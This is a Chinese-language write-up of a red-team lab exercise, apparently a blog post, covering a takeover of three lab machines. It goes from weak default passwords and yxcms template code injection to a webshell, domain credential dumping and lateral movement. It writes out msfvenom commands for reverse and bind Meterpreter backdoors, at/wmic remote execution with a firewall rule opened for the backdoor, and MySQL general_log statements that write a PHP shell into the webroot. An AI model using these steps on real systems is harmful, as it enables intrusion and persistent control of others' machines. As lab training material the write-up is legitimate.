ATT & CK 实战系列——红队实战(一)

1. 环境描述

一共三台靶机,Windows 7 x64为边界主机,配置双网卡,其中一张与攻击主机设置为同一网段;另两台server服务器位于隔离网段中。

目标:通过边界主机,获取内网全部主机控制权。

2. 过程流水

2.1 边界主机

  1. 边界主机探测,使用nmap扫描已知边界主机所在网段,发现边界主机;扫描主机端口,发现开放80、3306。

image-20200620153150393

  1. 尝试访问web页面,跳转到“phpStudy探针”页面,其中提供了测试mysql数据库连接的功能,顺手试了一个root:root(phpstudy默认密码),特么就进去了。

image-20200620153413024

  1. 使用某剑和dirb对web进行扫描,得到phpMyAdmin应用一个、phpinfo页面一个。

image-20200620153601045

image-20200620153753918

  1. 利用弱口令登录phpMyAdmin发现存在”newyxcms“。

image-20200620154140558

  1. 根据yxcms官方文档找到边界主机中的yxcms路径,同时得知默认后台管理员账号与口令。

image-20200620154246935

image-20200620154503755

  1. 利用默认口令登录后台。

image-20200620154539830

  1. 在修改模板的地方找到代码注入点。

image-20200620163547175

  1. 利用代码注入点确认文件写入权限。

image-20200620164533988

  1. 写入webshell。

image-20200620165814514

  1. 利用Metasploit生成回连后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.233.130 LPORT=80 -f exe > Desktop/shell.exe

获得shell

image-20200620171203689

2.2 内网拓展

  1. 边界主机一步到位的提权。

image-20200620171242302

  1. 在边界主机中获取内存密码明文,同时得知域控主机名为owa。(cmd切换英文:chcp 437,切换中文chcp 936

image-20200620174233312

  1. 利用Administrator密码尝试登录域控主机,发现具有管理员权限,猜测该账号为域管账号。

image-20200620174121485

image-20200620174540437

  1. 确认“OWA”主机为64位。

image-20200620182204386

  1. 查询域内主机信息,得到另外一台存活主机ROOT-TVI862UBEH(STU1是边界主机)。

    image-20200719171956826

  2. 利用掌握的账号和密码成功连接“ROOT-TVI862UBEH”主机,并确认其为32位系统。

image-20200620182227995

  1. 构造32位的meterpreter后门。

    msfvenom -p windows/meterpreter_bind_tcp -f exe > Desktop/shell_bind.exe

    利用边界主机传递后门程序。

    image-20200719172619817

    1. 利用at命令激活后门程序。

      image-20200719172923943

    2. Metasploit设置路由。

      image-20200719173222501

    3. 使用msf进行连接,成功上线,并一键提权。

      image-20200719174214364

    4. 使用同样的思路尝试在“owa”主机部署后门文件,无法连接。

      image-20200719174652253

      利用wmic执行命令,查看后门程序是否正常运行,并检查是否存在杀毒软件。

      image-20200719175800321

      根据结果,确认后门正常运行,推测主机防火墙阻拦了后门流量。

      image-20200719180221206

      1. 通过wmic命令,添加主机4444端口入站规则,成功建立连接,并获得system权限。

        image-20200719180522292

        image-20200719180949959

  2. 至此全部三个主机都获取了最高权限。

    image-20200719181035572

3. 其他获取立足点的方法

3.1 创建模板文件

登录后台,点击左侧“前台模板“--> 管理模板文件 --> 右上角新建

image-20200823210027893

可以直接编辑PHP脚本

image-20200823210227448

由于没有设置路径过滤,访问http://target/yxcms/protected/apps/default/view/default/my_shell.php即可访问到刚刚编写的脚本。

image-20200823210415406

3.2 利用数据库获得shell

  1. 确认mysql是否有写文件权限:没有写文件权限

    image-20200823211142719

  2. 尝试利用mysql日志写shell

  3. 查看日志状态:show variables like '%general%';

    开启日志功能:SET GLOBAL general_log='on';

    设置日志输出路径:SET GLOBAL general_log_file='C:\phpStudy\www\shell.php';

  4. 利用查询功能写入php脚本

    image-20200823211758509

4. 总结

  1. 这个靶机环境难点在于第一个立足点的获取,控制下web主机后,内网方面障碍不大,只有一道防火墙,并没有安全装杀毒软件。
  2. 还是没有搞清楚这个模板是怎么加载的,试着用调试器跟了一下代码,在Route的时候就把自己绕晕了,PHP框架这块还是得深入学一下。
  3. 控制主机后没有细致的搜集信息,潜意识里认为是靶机环境,就不管影响大不大,直接跑命令,下一个靶机环境一定要慎重,同时要看看执行操作的时候靶机日志。
  • 我是谁:这台主机的信息
  • 我在哪:当前网络所在的逻辑位置
  • 这是哪:当前网络拓扑
  • 主机信息搜集:设置一个黑盒环境(假设仅知道这个web站点,最终要获得网络内所有主机的管理员权限:web主机突破,其他主机探测,其他主机突破)
    • 当前用户
    • 杀毒软件
    • 主机上都有哪些用户
    • 主机和哪些主机相互通信
  1. 网上很多文章都是利用CS作为shell管理工具,这个目前还没接触过,下一个靶机要拿CS和PowerSploit来试试看。

其他人的解法:
参考答案
参考答案二

原文地址:https://www.cnblogs.com/ph1sh/p/13550995.html